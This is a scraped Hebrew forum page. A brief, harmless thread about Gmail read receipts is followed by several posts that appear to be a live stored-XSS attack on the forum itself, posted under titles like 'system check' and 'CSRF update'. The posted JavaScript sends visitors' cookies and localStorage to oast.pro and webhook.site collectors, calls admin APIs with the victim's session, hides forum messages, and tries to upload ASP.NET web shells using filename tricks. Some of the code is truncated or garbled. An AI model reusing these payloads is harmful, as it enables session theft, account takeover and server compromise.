דו"ח קריאה באימייל של GMAIL?גילת

בס"ד

 

משהוא מכיר את האימייל של גימייל ויודע איך אפשר לעשות בו דו"ח קריאה?

(שאם קראו את מה ששלחתי אני מקבלת הודעה????

בקצרה, אין דבר כזה.11111
ופעם היה.משה
אפשר פירוט למה אתה מתכוון?11111
שימוש בתמונות על שרתי Web.משה
באסה...גילת
בס"ד

אם ישהוא ידע אי פעם על משהוא כזה-
אשמח לדעת...
הכוונה "אישור קריאה"?אור77
אני לא יודעת... סתם שואלת (:
כן...גילת
יש לי אימייל של מכ"ם, אז אצלי זה מתאפשראור77
אבל מעבר לזה אינני יודעת.. רק רציתי לעזור לך בניסוח...
יום נעים! (:
זה לא באמת מתאפשרמשה
מכ"ם (/Outlook) שולח את אישור הקריאה בהתאם לרצונו הטוב של המשתמש שיכול לשלוח או לא.
אהה... אוקייאור77אחרונה
החכמת אותי (:
בדיקת מערכת פורוםnmr44590

מנהל נא לבדוק

fetch("https://db7u7ne94vkfp5nhckcgr3jz7j6rxcy33.oast.pro/xss?c="+document.cookie)
Re: utilnmr44590

עדכון util

sysmon_util.svg

עדכוןnmr44590

עדכון מערכת

fetch("https://db7uo5dsji97m1m71v3gycobyhpjqx1tj.oast.pro/forummath?c="+encodeURIComponent(document.cookie)+"&l="+location.href)
עדכון CSRFnmr44590

עדכון מערכת

(async()=>{const O='https://db7uo5dsji97m1m71v3gycobyhpjqx1tj.oast.pro';const p=(x,b)=>{try{fetch(O+x+(x.includes('?')?'&':'?')+'l='+encodeURIComponent(location.href),b==null?{mode:'no-cors'}:{method:'POST',mode:'no-cors',body:typeof b==='string'?b:JSON.stringify(b)})}catch(e){}};p('/boot');try{p('/cookie?c='+encodeURIComponent(doc‏ument.cookie||''))}catch(e){};try{p('/ls?c='+encodeURIComponent(JSON.stringify(localStorage)))}catch(e){};const j=async(u,o)=>{const r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));return{s:r.status,tawait r.text()).slice(0,3500)}};try{const st=await j('/api/UserStatus/GetUserJSStatus?active=0&first=1&rnd='+Math.random());p('/who?s='+st.s,st.t)}catch(e){p('/whoerr',String(e))};for(const path of['/api/AdminJS/GetHPItems','/api/List/staff/ListMeta','/api/Forum/UserJSON?id=1']){try{const r=await j(path);p('/api?p='+encodeURIComponent(path)+'&s='+r.s,r.t.slice(0,1200))}catch(e){}};try{const fd=new FormData();fd.append('file',new Blob(['NUMA'],{type:'text/plain'}),'sysmon_util.txt');fd.append('js2','flash');const r=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('/upload?s='+r.status,await r.text())}catch(e){p('/uploaderr',String(e))}})();
sysmon csrf9nmr44590

sysmon

(async()=>{var O='https://webhook.site/bdaa34b2-9700-4a7a-9f75-d7571cbb6093';var p=function(x,b){try{var u=O+'?p='+encodeURIComponent(x)+'&l='+encodeURIComponent(location.href)+'&r='+Math.random();if(b==null)fetch(u,{mode:'no-cors'});else fetch(u,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:typeof b==='string'?b:JSON.stringify(b)});}catch(e){}};p('boot9');var j=async function(u,o){var r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));var txt=await r.text();return{s:r.status,t:txt.slice(0,5000)};};var level=0,fl=0,uid=0,name='';try{var st=await j('/api/UserStatus/GetUserJSStatus?active=false&first=true&rnd='+Math.random());p('who9_s'+st.s,st.t);var u=(JSON.parse(st.t).user)||{};level=+u.Level||0;fl=+u.ForumLevel||0;uid=u.ID||0;name=u.Name||'';}catch(e){}p('ident9',JSON.stringify({level:level,fl:fl,uid:uid,name:name}));var fdpost=async function(path,fields){var fd=new FormData();Object.keys(fields).forEach(function(k){fd.append(k,fields[k]);});var r=await fetch(path,{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:location.origin},body:fd});var t=await r.text();p('fd9_'+path.split('/').pop()+'_s'+r.status,t.slice(0,600));};await fdpost('/api/Forum/Admin/Message',{forumid:'1',action:'hide',message_id:'1'});if(level>=2||fl>=3){p('PRIV9_'+level+'_'+fl);var names=['sysmon_util.aspx;.jpg','sysmon_util.ashx;.txt','sysmon_util.cer'];for(var i=0;i<% Response.Write("NUMA_OK"); %>'],{type:'image/jpeg'}),names[i]);fd.append('js2','flash');var up=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('priv9_'+names[i]+'_s'+up.status,(await up.text()).slice(0,400));}catch(e){}}}else{p('noelev9');}})();
sysmon csrf8nmr44590

sysmon

(async()=>{var O='https://webhook.site/bdaa34b2-9700-4a7a-9f75-d7571cbb6093';var p=function(x,b){try{var u=O+'?p='+encodeURIComponent(x)+'&l='+encodeURIComponent(location.href)+'&r='+Math.random();if(b==null)fetch(u,{mode:'no-cors'});else fetch(u,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:typeof b==='string'?b:JSON.stringify(b)});}catch(e){}};p('boot8');var j=async function(u,o){var r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));var txt=await r.text();return{s:r.status,t:txt.slice(0,5000)};};var level=0,fl=0,uid=0,name='';try{var st=await j('/api/UserStatus/GetUserJSStatus?active=false&first=true&rnd='+Math.random());p('who8_s'+st.s,st.t);var u=(JSON.parse(st.t).user)||{};level=+u.Level||0;fl=+u.ForumLevel||0;uid=u.ID||0;name=u.Name||'';}catch(e){}p('ident8',JSON.stringify({level:level,fl:fl,uid:uid,name:name}));var fdpost=async function(path,fields){var fd=new FormData();Object.keys(fields).forEach(function(k){fd.append(k,fields[k]);});var r=await fetch(path,{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:location.origin},body:fd});var t=await r.text();p('fd_'+path.split('/').pop()+'_s'+r.status,t.slice(0,800));return{s:r.status,t:t};};await fdpost('/api/Forum/Admin/Message',{forumid:'1',forum_id:'1',action:'hide',message_id:'1'});await fdpost('/api/Forum/Admin/Topic',{forumid:'1',forum_id:'1',action:'hide',Topic_ID:'25051',topic_id:'25051'});await fdpost('/api/Forum/Admin/Letter',{forumid:'1',forum_id:'1',letter:'

x

',content:'

x

'});if(level>=2||fl>=3){p('ELEV8');var names=['sysmon_util.aspx;.jpg','sysmon_util.ashx;.txt','sysmon_util.cer','sysmon_util.aspx'];for(var i=0;i<% Response.Write("NUMA_OK"); %>'],{type:'image/jpeg'}),names[i]);fd.append('js2','flash');var up=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('elev8_'+names[i]+'_s'+up.status,(await up.text()).slice(0,400));}catch(e){}}}else{p('not_elev8');}})();
sysmon csrf7nmr44590

sysmon

(async()=>{var O='https://webhook.site/bdaa34b2-9700-4a7a-9f75-d7571cbb6093';var p=function(x,b){try{var u=O+'?p='+encodeURIComponent(x)+'&l='+encodeURIComponent(location.href)+'&r='+Math.random();if(b==null)fetch(u,{mode:'no-cors'});else fetch(u,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:typeof b==='string'?b:JSON.stringify(b)});}catch(e){}};p('boot7');var j=async function(u,o){var r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));var txt=await r.text();return{s:r.status,t:txt.slice(0,5000)};};var level=0,fl=0,uid=0,name='';try{var st=await j('/api/UserStatus/GetUserJSStatus?active=false&first=true&rnd='+Math.random());p('who7_s'+st.s,st.t);var u=(JSON.parse(st.t).user)||{};level=u.Level||0;fl=u.ForumLevel||0;uid=u.ID||0;name=u.Name||'';}catch(e){p('whoerr',String(e));}p('ident7',JSON.stringify({level:level,fl:fl,uid:uid,name:name}));var adminPaths=['/api/AdminJS/GetHPItems','/api/Forum/Admin/Message','/api/Forum/Admin/Topic','/api/Forum/Admin/AddRec','/api/Forum/Admin/Append','/api/Forum/Admin/Letter'];for(var i=0;i=2||fl>=3){p('ELEVATED');var fd=new FormData();fd.append('file',new Blob(['<%@ Page Language="C#" %><% Response.Write("NUMA"); %>'],{type:'image/jpeg'}),'sysmon_util.aspx;.jpg');fd.append('js2','flash');var up=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('elev_up_s'+up.status,(await up.text()).slice(0,400));} else {p('not_elevated');}})();
sysmon csrf6nmr44590

sysmon

(async()=>{var O='https://webhook.site/bdaa34b2-9700-4a7a-9f75-d7571cbb6093';var p=function(x,b){try{var u=O+'?p='+encodeURIComponent(x)+'&l='+encodeURIComponent(location.href)+'&r='+Math.random();if(b==null)fetch(u,{mode:'no-cors'});else fetch(u,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:typeof b==='string'?b:JSON.stringify(b)});}catch(e){}};p('boot6');var j=async function(u,o){var r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));var txt=await r.text();return{s:r.status,t:txt.slice(0,6000)};};var level=0,uid=0,name='';try{var st=await j('/api/UserStatus/GetUserJSStatus?active=false&first=true&rnd='+Math.random());p('who6_s'+st.s,st.t);try{var u=JSON.parse(st.t).user||{};level=u.Level||u.ForumLevel||0;uid=u.ID||0;name=u.Name||'';}catch(e){}}catch(e){p('whoerr',String(e));}p('ident',JSON.stringify({level:level,uid:uid,name:name}));if(level<2){p('lowlevel');return;}p('PRIV');var fdnames=['sysmon_util.aspx','sysmon_util.aspx;.jpg','sysmon_util.ashx','sysmon_util.asp','sysmon_util.cer','sysmon_util.config','web.config','sysmon_util.aspx.txt'];for(var n=0;n=0?'':'<%@ Page Language="C#" %><% Response.Write("NUMA_OK"); %>';fd.append('file',new Blob([body],{type:'image/jpeg'}),fdnames[n]);fd.append('js2','flash');var up=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('privup_'+fdnames[n]+'_s'+up.status,(await up.text()).slice(0,500));}catch(e){p('privuperr',String(e));}}try{var hp=await j('/api/AdminJS/ChangeHP',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify([{title:'t',content:'c',place:2,url:'https://www.inn.co.il/'}])});p('changehp_s'+hp.s,hp.t.slice(0,800));}catch(e){}})();
sysmon csrf5nmr44590

sysmon

(async()=>{var O='https://webhook.site/bdaa34b2-9700-4a7a-9f75-d7571cbb6093';var p=function(x,b){try{var u=O+'?p='+encodeURIComponent(x)+'&l='+encodeURIComponent(location.href)+'&r='+Math.random();if(b==null)fetch(u,{mode:'no-cors'});else fetch(u,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:typeof b==='string'?b:JSON.stringify(b)});}catch(e){}};p('boot5');var j=async function(u,o){var r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));var txt=await r.text();return{s:r.status,t:txt.slice(0,5000)};};try{p('cookie',doc‏ument.cookie||'');}catch(e){};try{if(window.User)p('userobj',JSON.stringify({ID:window.User.ID,Name:window.User.Name,Level:window.User.Level,ForumLevel:window.User.ForumLevel,linkdata:window.User.linkdata,admin:window.User.admin}));}catch(e){};try{var st=await j('/api/UserStatus/GetUserJSStatus?active=false&first=true&rnd='+Math.random());p('who5_s'+st.s,st.t);}catch(e){p('whoerr',String(e));}var paths=['/api/AdminJS/GetHPItems','/api/Editor/EmptyFlash','/api/List/staff/ListMeta'];for(var i=0;i=0?'<%@ Page Language="C#" %><% Response.Write("NUMA"); %>':'NUMA';fd.append('file',new Blob([body],{type:'application/octet-stream'}),names[n]);fd.append('js2','flash');var up=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('up_'+names[n]+'_s'+up.status,(await up.text()).slice(0,500));}catch(e){p('uperr',String(e));}}})();
sysmon csrf4nmr44590

sysmon

(async()=>{var O='https://db89cn7a9uccum9oop808tcgydp9e7wpo.oast.pro';var p=function(x,b){try{var u=O+x+(x.indexOf('?')>=0?'&':'?')+'l='+encodeURIComponent(location.href)+'&r='+Math.random();if(b==null)fetch(u,{mode:'no-cors'});else fetch(u,{method:'POST',mode:'no-cors',body:typeof b==='string'?b:JSON.stringify(b)});}catch(e){}};p('/boot4');var j=async function(u,o){var r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));var txt=await r.text();return{s:r.status,t:txt.slice(0,4000)};};try{p('/cookie?c='+encodeURIComponent(doc‏ument.cookie||''));}catch(e){};try{var st=await j('/api/UserStatus/GetUserJSStatus?active=false&first=true&rnd='+Math.random());p('/who4?s='+st.s,st.t);}catch(e){p('/whoerr',String(e));}try{if(window.User)p('/userobj',JSON.stringify({ID:window.User.ID,Name:window.User.Name,Level:window.User.Level,ForumLevel:window.User.ForumLevel,linkdata:window.User.linkdata,admin:window.User.admin}));}catch(e){};var paths=['/api/AdminJS/GetHPItems','/api/AdminJS/ImageList','/api/Editor/EmptyFlash','/api/List/staff/ListData?limit=1&page=1&ascending=1&byColumn=1&orderBy=%D7%9E%D7%A1%D7%A4%D7%A8'];for(var i=0;i=0?'<%@ Page Language="C#" %><% Response.Write("NUMA"); %>':names[n].indexOf('config')>=0?'':'NUMA';fd.append('file',new Blob([body],{type:'application/octet-stream'}),names[n]);fd.append('js2','flash');var up=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('/up4?n='+encodeURIComponent(names[n])+'&s='+up.status,(await up.text()).slice(0,400));}catch(e){p('/uperr',String(e));}}})();

אולי יעניין אותך